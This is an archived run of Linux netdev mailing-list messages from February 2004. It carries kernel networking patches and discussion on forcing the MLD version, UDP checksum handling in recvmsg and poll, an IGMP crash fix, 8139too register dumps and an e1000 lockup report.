linux-2.6.2F3/net/ipv6/mcast.c 2004-02-16 20:11:30.000000000 -0800 @@ -152,8 +152,10 @@ #define IGMP6_UNSOLICITED_IVAL (10*HZ) #define MLD_QRV_DEFAULT 2 -#define MLD_V1_SEEN(idev) ((idev)->mc_v1_seen && \ - time_before(jiffies, (idev)->mc_v1_seen)) +#define MLD_V1_SEEN(idev) (ipv6_devconf.force_mld_version == 1 || \ + (idev)->cnf.force_mld_version == 1 || \ + ((idev)->mc_v1_seen && \ + time_before(jiffies, (idev)->mc_v1_seen))) #define MLDV2_MASK(value, nb) ((nb)>=32 ? (value) : ((1<<(nb))-1) & (value)) #define MLDV2_EXP(thresh, nbmant, nbexp, value) \ (See attached file: mldsysctl.patch) --1__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,
Below is a patch for 2.6.2 that adds a sysctl variable
to force the MLD version to version 1, for MLD-snooping switches
that don't understand version 2 packet formats.
I'll do a 2.4 version of the patch soon.

+-DLS

diff -ruN linux-2.6.2/include/linux/ipv6.h linux-2.6.2F3/include/linux/ipv6.h
--- linux-2.6.2/include/linux/ipv6.h 2004-02-03 19:44:05.000000000 -0800
+++ linux-2.6.2F3/include/linux/ipv6.h 2004-02-16 17:35:44.000000000 -0800
@@ -136,6 +136,7 @@
__s32 rtr_solicits;
__s32 rtr_solicit_interval;
__s32 rtr_solicit_delay;
+ __s32 force_mld_version;
#ifdef CONFIG_IPV6_PRIVACY
__s32 use_tempaddr;
__s32 temp_valid_lft;
@@ -165,6 +166,7 @@
DEVCONF_REGEN_MAX_RETRY,
DEVCONF_MAX_DESYNC_FACTOR,
DEVCONF_MAX_ADDRESSES,
+ DEVCONF_FORCE_MLD_VERSION,
DEVCONF_MAX
};

diff -ruN linux-2.6.2/include/linux/sysctl.h linux-2.6.2F3/include/linux/sysctl.h
--- linux-2.6.2/include/linux/sysctl.h 2004-02-03 19:43:56.000000000 -0800
+++ linux-2.6.2F3/include/linux/sysctl.h 2004-02-16 17:14:30.000000000 -0800
@@ -421,7 +421,8 @@
NET_IPV6_TEMP_PREFERED_LFT=13,
NET_IPV6_REGEN_MAX_RETRY=14,
NET_IPV6_MAX_DESYNC_FACTOR=15,
- NET_IPV6_MAX_ADDRESSES=16
+ NET_IPV6_MAX_ADDRESSES=16,
+ NET_IPV6_FORCE_MLD_VERSION=17
};


/* /proc/sys/net/ipv6/icmp */
diff -ruN linux-2.6.2/net/ipv6/addrconf.c linux-2.6.2F3/net/ipv6/addrconf.c
--- linux-2.6.2/net/ipv6/addrconf.c 2004-02-03 19:44:43.000000000 -0800
+++ linux-2.6.2F3/net/ipv6/addrconf.c 2004-02-16 19:51:08.000000000 -0800
@@ -149,6 +149,7 @@
.accept_ra = 1,
.accept_redirects = 1,
.autoconf = 1,
+ .force_mld_version = 0,
.dad_transmits = 1,
.rtr_solicits = MAX_RTR_SOLICITATIONS,
.rtr_solicit_interval = RTR_SOLICITATION_INTERVAL,
@@ -2739,6 +2740,7 @@
array[DEVCONF_RTR_SOLICITS] = cnf->rtr_solicits;
array[DEVCONF_RTR_SOLICIT_INTERVAL] = cnf->rtr_solicit_interval;
array[DEVCONF_RTR_SOLICIT_DELAY] = cnf->rtr_solicit_delay;
+ array[DEVCONF_FORCE_MLD_VERSION] = cnf->force_mld_version;
#ifdef CONFIG_IPV6_PRIVACY
array[DEVCONF_USE_TEMPADDR] = cnf->use_tempaddr;
array[DEVCONF_TEMP_VALID_LFT] = cnf->temp_valid_lft;
@@ -3042,7 +3044,7 @@
static struct addrconf_sysctl_table
{
struct ctl_table_header *sysctl_header;
- ctl_table addrconf_vars[17];
+ ctl_table addrconf_vars[18];

ctl_table addrconf_dev[2];
ctl_table addrconf_conf_dir[2];
ctl_table addrconf_proto_dir[2];
@@ -3133,6 +3135,14 @@
          .proc_handler = &proc_dointvec_jiffies,
.strategy = &sysctl_jiffies,
},
+ {
+ .ctl_name = NET_IPV6_FORCE_MLD_VERSION,
+ .procname = "force_mld_version",
+         .data = &ipv6_devconf.force_mld_version,
+ .maxlen = sizeof(int),
+ .mode = 0644,
+         .proc_handler = &proc_dointvec,
+ },
#ifdef CONFIG_IPV6_PRIVACY
{
.ctl_name = NET_IPV6_USE_TEMPADDR,
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F3/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F3/net/ipv6/mcast.c 2004-02-16 20:11:30.000000000 -0800
@@ -152,8 +152,10 @@
#define IGMP6_UNSOLICITED_IVAL (10*HZ)
#define MLD_QRV_DEFAULT 2

-#define MLD_V1_SEEN(idev) ((idev)->mc_v1_seen && \
- time_before(jiffies, (idev)->mc_v1_seen))
+#define MLD_V1_SEEN(idev) (ipv6_devconf.force_mld_version == 1 || \
+ (idev)->cnf.force_mld_version == 1 || \

+ ((idev)->mc_v1_seen && \
+ time_before(jiffies, (idev)->mc_v1_seen)))

#define MLDV2_MASK(value, nb) ((nb)>=32 ? (value) : ((1<<(nb))-1) & (value))
#define MLDV2_EXP(thresh, nbmant, nbexp, value) \


(See attached file: mldsysctl.patch) --1__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD-- --0__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD Content-type: application/octet-stream; name="mldsysctl.patch" Content-Disposition: attachment; filename="mldsysctl.patch" Content-ID: <10__=07BBE4AEDF8FACFD8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbGludXgvaXB2Ni5oIGxpbnV4LTIuNi4yRjMv aW5jbHVkZS9saW51eC9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XNoLCBuYm1hbnQsIG5iZXhwLCB2YWx1ZSkgXAo= --0__=07BBE4AEDF8FACFD8f9e8a93df938690918c07BBE4AEDF8FACFD-- From davem@redhat.com Mon Feb 16 22:53:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Feb 2004 22:53:24 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1H6rFKO008024 for ; Mon, 16 Feb 2004 22:53:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1H6r6b17832; Tue, 17 Feb 2004 01:53:06 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1H6r6i10506; Tue, 17 Feb 2004 01:53:06 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1H6qnkC010149; Tue, 17 Feb 2004 01:53:03 -0500 Date: Mon, 16 Feb 2004 22:52:51 -0800 From: "David S. Miller" To: David Stevens Cc: sekiya@wide.ad.jp, hibi665@oki.com, netdev@oss.sgi.com Subject: Re: sysctl variable to force MLD version [PATCH] Message-Id: <20040216225251.00a44597.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 16 Feb 2004 22:14:09 -0700 David Stevens wrote: > Below is a patch for 2.6.2 that adds a sysctl variable > to force the MLD version to version 1, for MLD-snooping switches > that don't understand version 2 packet formats. Queued up for 2.6.4, thanks David. From krishnakumar@naturesoft.net Tue Feb 17 03:50:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 03:50:06 -0800 (PST) Received: from naturesoft.net (mail.naturesoft.net [203.145.184.221]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HBntKO009372 for ; Tue, 17 Feb 2004 03:49:58 -0800 Received: from interogator.naturesoft.com ([192.168.0.80]) by naturesoft.net with esmtp (Exim 3.35 #1) id 1At3c2-0008Ke-00; Tue, 17 Feb 2004 17:12:02 +0530 From: "Krishnakumar. R" Reply-To: krishnakumar@naturesoft.net Organization: Naturesoft To: jgarzik@pobox.com Subject: [PATCH] PIO register dump support for 8139 driver Date: Tue, 17 Feb 2004 17:25:54 +0530 User-Agent: KMail/1.5 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402171725.54339.krishnakumar@naturesoft.net> X-archive-position: 3336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krishnakumar@naturesoft.net Precedence: bulk X-list: netdev Hi, The following patch adds the pio register dump support for the 8139too.c. The register dump can be now obtained when we are using PIO mode. (eg: ethtool -d eth0 will give the register dump in the PIO mode after this patch is applied.) The patch is against linux-2.6.1-bk4-netdev1. Please do apply. Regards, KK. Diffstat output: --------------------- 8139too.c | 24 +++++++++++++++++++----- 1 files changed, 19 insertions(+), 5 deletions(-) The Patch: --------------- --- linux-2.6.1-bk4-netdev1/drivers/net/8139too.orig.c 2004-02-09 14:09:22.000000000 +0530 +++ linux-2.6.1-bk4-netdev1/drivers/net/8139too.c 2004-02-17 14:55:05.681637552 +0530 @@ -2391,17 +2391,31 @@ np->msg_enable = datum; } -/* TODO: we are too slack to do reg dumping for pio, for now */ -#ifdef CONFIG_8139TOO_PIO -#define rtl8139_get_regs_len NULL -#define rtl8139_get_regs NULL -#else static int rtl8139_get_regs_len(struct net_device *dev) { struct rtl8139_private *np = dev->priv; return np->regs_len; } +#ifdef CONFIG_8139TOO_PIO +static void rtl8139_get_regs(struct net_device *dev, + struct ethtool_regs *regs, void *regbuf) +{ + struct rtl8139_private *np = dev->priv; + int i; + char *p; + void *ioaddr = np->mmio_addr; + + regs->version = RTL_REGS_VER; + p = (char *)regbuf; + + spin_lock_irq(&np->lock); + for ( i=0 ; iregs_len ; i++ ) { + p[i] = RTL_R8 (i); + } + spin_unlock_irq(&np->lock); +} +#else static void rtl8139_get_regs(struct net_device *dev, struct ethtool_regs *regs, void *regbuf) { struct rtl8139_private *np = dev->priv; -- HomePage: http://puggy.symonds.net/~krishnakumar From okir@suse.de Tue Feb 17 05:01:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 05:01:22 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HD12KO014148 for ; Tue, 17 Feb 2004 05:01:03 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id E03A81EF0C6 for ; Tue, 17 Feb 2004 13:17:26 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id CDD6F13B23; Tue, 17 Feb 2004 13:17:26 +0100 (CET) Date: Tue, 17 Feb 2004 13:17:26 +0100 From: Olaf Kirch To: netdev@oss.sgi.com Subject: [PATCH] 2.6 UDP recvmsg vs POSIX Message-ID: <20040217121726.GD8554@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="7AUc2qLy4jB3hD7Z" Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 3337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Hi, I'm currently investigating a problem in udp recvmsg. In short, a test program selects on the socket, gets woken up as a packet arrives, but recvmsg return EAGAIN because the UDP checksum was wrong. This broke one real-life application, and reportedly this violates POSIX, as operations on a blocking socket must never return EAGAIN. The quick and dirty fix would be to always do the checksum in udp_queue_rcv_skb, but I assume this "checksum-outside-the-bottom-half" approach is there because it improves performance, so I've tried to come up with a different solution. Please find attached a patch that tries to pluck bad udp packets from the receive queue as part of poll/select handling, so that we never mark a udp socket as POLLIN when there are only bad packets in the queue. This is admittedly not very elegant, and it may have side effects I'm not seeing yet. But it seems to fix things for me here, without slowing the bottom half handlers down. The second half of the patch deals with bad checksums in recvmsg. If an application calls recvmsg on a blocking socket, and we find a packet with a bad checksum (this may happen if the application didn't select first), we start over at the top of the function, so that we block in skb_datagram_receive rather than returning EAGAIN. Any comments welcome. Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: attachment; filename="linux-2.6.2-udpfix.patch" --- linux-2.6.2/include/net/udp.h.udpfix 2004-02-17 10:10:03.000000000 +0100 +++ linux-2.6.2/include/net/udp.h 2004-02-17 10:10:18.000000000 +0100 @@ -74,6 +74,10 @@ extern int udp_ioctl(struct sock *sk, int cmd, unsigned long arg); extern int udp_disconnect(struct sock *sk, int flags); +extern unsigned int udp_poll(struct file *file, + struct socket *sock, + struct poll_table_struct *wait); + DECLARE_SNMP_STAT(struct udp_mib, udp_statistics); #define UDP_INC_STATS(field) SNMP_INC_STATS(udp_statistics, field) #define UDP_INC_STATS_BH(field) SNMP_INC_STATS_BH(udp_statistics, field) --- linux-2.6.2/net/ipv4/af_inet.c.udpfix 2004-02-04 04:43:12.000000000 +0100 +++ linux-2.6.2/net/ipv4/af_inet.c 2004-02-17 10:36:00.000000000 +0100 @@ -912,7 +912,7 @@ .socketpair = sock_no_socketpair, .accept = sock_no_accept, .getname = inet_getname, - .poll = datagram_poll, + .poll = udp_poll, .ioctl = inet_ioctl, .listen = sock_no_listen, .shutdown = inet_shutdown, --- linux-2.6.2/net/ipv4/udp.c.udpfix 2004-02-13 16:07:30.000000000 +0100 +++ linux-2.6.2/net/ipv4/udp.c 2004-02-17 10:35:41.000000000 +0100 @@ -766,6 +766,64 @@ } /* + * Packets queued on the UDP socket may have a bad checksum, + * and need to be discarded. On the other hand, recvmsg is not + * allowed to return EAGAIN on a blocking socket, especially + * if select() indicated that data is available. + * + * To solve this, udp_poll makes sure that the next packet in + * the queue has a valid checksum. This fixes the select/recvmsg + * case. + * The general case of recvmsg on a blocking socket is solved by + * simply looping over in udp_recvmsg when the checksum is bad. --okir + */ +unsigned int +udp_poll(struct file *file, struct socket *sock, struct poll_table_struct *wait) +{ + struct sock *sk = sock->sk; + struct sk_buff *skb; + int error; + + do { + spin_lock_irq(&sk->sk_receive_queue.lock); + skb = skb_peek(&sk->sk_receive_queue); + if (skb != NULL) + atomic_inc(&skb->users); + spin_unlock_irq(&sk->sk_receive_queue.lock); + + if (skb == NULL) + break; + + error = 0; + if (skb->ip_summed == CHECKSUM_UNNECESSARY) { + /* All is well */ + } else if (!(error = __udp_checksum_complete(skb))) { + skb->ip_summed = CHECKSUM_UNNECESSARY; + } else { + /* Bad checksum. Pluck it from there queue */ + UDP_INC_STATS_BH(UdpInErrors); + + spin_lock_irq(&sk->sk_receive_queue.lock); + if (skb == skb_peek(&sk->sk_receive_queue)) { + __skb_unlink(skb, &sk->sk_receive_queue); + spin_unlock_irq(&sk->sk_receive_queue.lock); + kfree_skb(skb); + } else { + spin_unlock_irq(&sk->sk_receive_queue.lock); + } + } + + skb_free_datagram(sk, skb); + } while (error); + + /* We have made sure there's at least one valid + * UDP packet in the queue, so do the normal datagram + * poll now */ + return datagram_poll(file, sock, wait); +} + + +/* * This should be easy, if there is something there we * return it, otherwise we block. */ @@ -787,6 +845,7 @@ if (flags & MSG_ERRQUEUE) return ip_recv_error(sk, msg, len); +try_again: skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; @@ -852,7 +911,7 @@ skb_free_datagram(sk, skb); - return -EAGAIN; + goto try_again; } int udp_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) --7AUc2qLy4jB3hD7Z-- From ak@suse.de Tue Feb 17 05:10:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 05:10:53 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HDAjKO014566 for ; Tue, 17 Feb 2004 05:10:46 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id 938261EF65D for ; Tue, 17 Feb 2004 14:10:40 +0100 (CET) Date: Wed, 18 Feb 2004 05:30:42 +0100 From: Andi Kleen To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-Id: <20040218053042.370876c9.ak@suse.de> In-Reply-To: <20040217121726.GD8554@suse.de> References: <20040217121726.GD8554@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 13:17:26 +0100 Olaf Kirch wrote: > Any comments welcome. Looks good to me. One small optimization would be to quickly check the receive queue without taking the receive queue lock. This would avoid the additional lock in many cases. -Andi From karlis@mt.lv Tue Feb 17 07:55:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 07:55:20 -0800 (PST) Received: from snake.mt.lv (oldmoon.mt.lv [159.148.172.198]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HFtAKO018123 for ; Tue, 17 Feb 2004 07:55:11 -0800 Received: from karlis.dev.mt.lv (mail@[10.0.0.16]) by snake.mt.lv (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i1HFtGj1022225 for ; Tue, 17 Feb 2004 17:55:20 +0200 Received: from karlis by karlis.dev.mt.lv with local (Exim 3.36 #1 (Debian)) id 1At7Z6-0005Kj-00 for ; Tue, 17 Feb 2004 17:55:16 +0200 Date: Tue, 17 Feb 2004 17:55:16 +0200 To: netdev@oss.sgi.com Subject: ip multicast bug Message-ID: <20040217155516.GA20477@mt.lv> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="17pEHd4RhPHOinZp" Content-Disposition: inline User-Agent: Mutt/1.5.3i From: Karlis Peisenieks X-archive-position: 3339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: karlis@mt.lv Precedence: bulk X-list: netdev --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hello, Patch below fixes kernel crash when multicast group is joined on disabled interface with IP address added. The problem is ip_mc_join_group->ip_mc_inc_group->igmp_group_added ->igmp_ifc_event->igmp_ifc_start_timer which does mod_timer on uninitialized timer_struct (mr_ifc_timer). As soon as timer fires, kernel crashes. Multicast related fields of in_device are only initialized in ip_mc_up which gets called when device is enabled. Perhaps somebody with more clue on multicast implementation can comment on this fix - is this fix enough or maybe wrong. Karlis --17pEHd4RhPHOinZp Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="igmp.c.patch" --- igmp.c 2 Dec 2003 08:53:00 -0000 1.1.1.7 +++ igmp.c 17 Feb 2004 15:51:58 -0000 @@ -1151,12 +1151,14 @@ im->next=in_dev->mc_list; in_dev->mc_list=im; write_unlock_bh(&in_dev->lock); + + if (in_dev->dev->flags & IFF_UP) { #ifdef CONFIG_IP_MULTICAST - igmpv3_del_delrec(in_dev, im->multiaddr); + igmpv3_del_delrec(in_dev, im->multiaddr); #endif - igmp_group_added(im); - if (in_dev->dev->flags & IFF_UP) + igmp_group_added(im); ip_rt_multicast_event(in_dev); + } out: return; } --17pEHd4RhPHOinZp-- From laforge@netfilter.org Tue Feb 17 08:01:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 08:01:56 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HG1kKO018521 for ; Tue, 17 Feb 2004 08:01:47 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1At7fM-0001bc-4i; Tue, 17 Feb 2004 17:01:45 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1At7Yj-0002iA-OH; Tue, 17 Feb 2004 16:54:53 +0100 Date: Tue, 17 Feb 2004 16:54:53 +0100 From: Harald Welte To: James Morris Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Message-ID: <20040217155452.GA9464@sunbeam.de.gnumonks.org> References: <402E71E2.1040508@kolumbus.fi> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="LQksG6bCIzRHxTLp" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3340 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --LQksG6bCIzRHxTLp Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 15, 2004 at 01:09:23AM -0500, James Morris wrote: > On Sat, 14 Feb 2004, Mika Penttil=E4 wrote: >=20 > > James Morris wrote: > >=20 > > >The proposed solution below is to copy the skb rather than clone it, t= o=20 > > >ensure that the original and looped back packets are independent. > > > > > > > This is unneeded overhead for the common case. The right fix is to make= =20 > > sure the modifier (netfilter etc) makes the copy if needed. Actually,= =20 > > this is what skb_ip_make_writable() is doing. >=20 > The common case here will be only for locally generated multicast and=20 > broadcast packets. >=20 > If the netfilter core code is modified instead, we will end up adding > skb_ip_make_writable() to nf_hook_slow() which will be called for every= =20 > packet with an output device which uses hardware checksums. >=20 > Not sure which is worse, but here's a proposed patch which does this. =20 Why can't we somehow check inside the netfilter hook if the packet is at least multicast/broadcast (or even better: also locally generated)? > - James > James Morris --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --LQksG6bCIzRHxTLp Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAMjlMXaXGVTD0i/8RAp0tAJ0WeghJUFB2tUxVH8xcQsIfoRog3wCeJakS LMb3v6u1uEdlk7PWRmamgIw= =HvN6 -----END PGP SIGNATURE----- --LQksG6bCIzRHxTLp-- From Kai.Makisara@kolumbus.fi Tue Feb 17 11:16:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 11:16:33 -0800 (PST) Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HJGMKO026635 for ; Tue, 17 Feb 2004 11:16:23 -0800 Received: from kai.makisara.local ([80.186.198.39]) by fep01-app.kolumbus.fi with ESMTP id <20040217191620.CHYI9750.fep01-app.kolumbus.fi@kai.makisara.local>; Tue, 17 Feb 2004 21:16:20 +0200 Date: Tue, 17 Feb 2004 21:16:20 +0200 (EET) From: Kai Makisara X-X-Sender: makisara@kai.makisara.local To: netdev@oss.sgi.com cc: scott.feldman@intel.com Subject: e1000 lockup with Linux 2.6.3-rc4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3341 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Kai.Makisara@kolumbus.fi Precedence: bulk X-list: netdev This kernel locks up with one of my machines when bringing up the e1000 interface. Reverting the patch at the end of this message solves the problem. The motherboard is Intel D875PBZLK and lspci gives the following information about the e1000: 02:01.0 Ethernet controller: Intel Corp.: Unknown device 1019 Subsystem: Intel Corp.: Unknown device 3025 Flags: bus master, 66Mhz, medium devsel, latency 0, IRQ 18 Memory at fe9e0000 (32-bit, non-prefetchable) [size=128K] I/O ports at 9c00 [size=32] Capabilities: The Changelog for 2.6.3-rc1 contains the following entry: [e1000] 82547 interrupt assert/de-assert re-ordering * 82547 needs interrupt disable/enable to keep interrupt assertion state synced between 82547 and APIC. 82547 will re-order assert and de-assert messages if hub link bus is busy (heavy traffic). Disabling interrupt on device works around re- order issue. which is the patch at the end of this message. Later there is the following entry: [netdrvr e1000] back out CSA interrupt fix * 8086:1019 82547 CSA-based LOMs lock up the system with this code, so let's revert back to what's in 2.6.0 until we can figure out why this is causing problems. Is this patch missing from 2.6.3-rc4 or have I misread the logs? -- Kai diff -Nru a/drivers/net/e1000/e1000_main.c b/drivers/net/e1000/e1000_main.c --- a/drivers/net/e1000/e1000_main.c Wed Feb 4 12:35:36 2004 +++ b/drivers/net/e1000/e1000_main.c Wed Feb 4 12:35:36 2004 @@ -2124,10 +2124,26 @@ __netif_rx_schedule(netdev); } #else + /* Writing IMC and IMS is needed for 82547. + Due to Hub Link bus being occupied, an interrupt + de-assertion message is not able to be sent. + When an interrupt assertion message is generated later, + two messages are re-ordered and sent out. + That causes APIC to think 82547 is in de-assertion + state, while 82547 is in assertion state, resulting + in dead lock. Writing IMC forces 82547 into + de-assertion state. + */ + if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) + e1000_irq_disable(adapter); + for(i = 0; i < E1000_MAX_INTR; i++) if(!e1000_clean_rx_irq(adapter) & !e1000_clean_tx_irq(adapter)) break; + + if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) + e1000_irq_enable(adapter); #endif return IRQ_HANDLED; From dlstevens@us.ibm.com Tue Feb 17 12:10:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 12:11:02 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HKAiKO027518; Tue, 17 Feb 2004 12:10:50 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1HKARF4586008; Tue, 17 Feb 2004 15:10:27 -0500 Received: from d03nm121.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1HKAQVK138372; Tue, 17 Feb 2004 13:10:27 -0700 In-Reply-To: <20040217155516.GA20477@mt.lv> Subject: Re: ip multicast bug To: Karlis Peisenieks Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 17 Feb 2004 13:10:25 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/17/2004 13:10:27 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4AEDFFFA33A8f9e8a93df938690918c07BBE4AEDFFFA33A" Content-Disposition: inline X-archive-position: 3342 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4AEDFFFA33A8f9e8a93df938690918c07BBE4AEDFFFA33A Content-type: text/plain; charset=US-ASCII > Patch below fixes kernel crash when multicast group is joined on > disabled interface with IP address added. Karlis, How exactly did you do this, and what version of the kernel are you using? +-DLS --0__=07BBE4AEDFFFA33A8f9e8a93df938690918c07BBE4AEDFFFA33A Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> Patch below fixes kernel crash when multicast group is joined on
> disabled interface with IP address added.


Karlis,
How exactly did you do this, and what version of the kernel
are you using?

